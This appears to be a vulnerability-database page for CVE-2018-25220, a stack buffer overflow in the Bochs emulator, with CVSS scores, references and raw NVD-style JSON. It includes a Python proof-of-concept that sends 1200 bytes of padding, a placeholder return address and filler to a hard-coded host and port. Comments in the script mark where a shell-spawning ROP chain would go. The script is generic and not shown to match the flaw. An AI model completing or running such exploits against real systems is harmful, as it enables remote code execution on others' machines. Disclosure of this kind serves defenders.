Security Vulnerability Report
中文
CVE-2018-25220 CVSS 9.8 CRITICAL

CVE-2018-25220

Published: 2026-03-28 12:16:03
Last Modified: 2026-04-02 19:18:20

Description

Bochs 2.6-5 contains a stack-based buffer overflow vulnerability that allows attackers to execute arbitrary code by supplying an oversized input string to the application. Attackers can craft a malicious payload with 1200 bytes of padding followed by a return-oriented programming chain to overwrite the instruction pointer and execute shell commands with application privileges.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bochs_project:bochs:2.6.5:*:*:*:*:*:*:* - VULNERABLE
Bochs 2.6-5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 1337 # Offset to overwrite the Instruction Pointer (EIP/RIP) # Based on the description, padding is approx 1200 bytes. # Adjust offset based on specific binary analysis. OFFSET = 1200 # ROP Chain or Ret address (Placeholder) # In a real exploit, this would be addresses from Bochs or system libraries. # Example: Address of system() or a gadget to bypass NX/DEP. RET_ADDR = struct.pack('<I', 0xAAAAAAAA) # Payload construction # 1. Padding (NOP sled or junk) padding = b"A" * OFFSET # 2. Return Address overwrite eip_overwrite = RET_ADDR # 3. ROP Chain or Shellcode (Placeholder) # This area would contain the ROP chain to call system("/bin/sh") rop_chain = b"\xcc" * 100 # Int3 instructions for debugging payload = padding + eip_overwrite + rop_chain try: print(f"[+] Sending payload to {TARGET_IP}:{TARGET_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Sending the malicious payload s.send(payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25220", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:02.600", "lastModified": "2026-04-02T19:18:20.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bochs 2.6-5 contains a stack-based buffer overflow vulnerability that allows attackers to execute arbitrary code by supplying an oversized input string to the application. Attackers can craft a malicious payload with 1200 bytes of padding followed by a return-oriented programming chain to overwrite the instruction pointer and execute shell commands with application privileges."}, {"lang": "es", "value": "Bochs 2.6-5 contiene una vulnerabilidad de desbordamiento de búfer basado en pila que permite a los atacantes ejecutar código arbitrario al proporcionar una cadena de entrada sobredimensionada a la aplicación. Los atacantes pueden crear una carga útil maliciosa con 1200 bytes de relleno seguidos de una cadena de programación orientada a retorno para sobrescribir el puntero de instrucción y ejecutar comandos de shell con privilegios de aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bochs_project:bochs:2.6.5:*:*:*:*:*:*:*", "matchCriteriaId": "C690E514-C352-4BD3-8946-41D47D684552"}]}]}], "references": [{"url": "http://bochs.sourceforge.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/43979", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/bochs-5-buffer-overflow-remote-code-execution", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}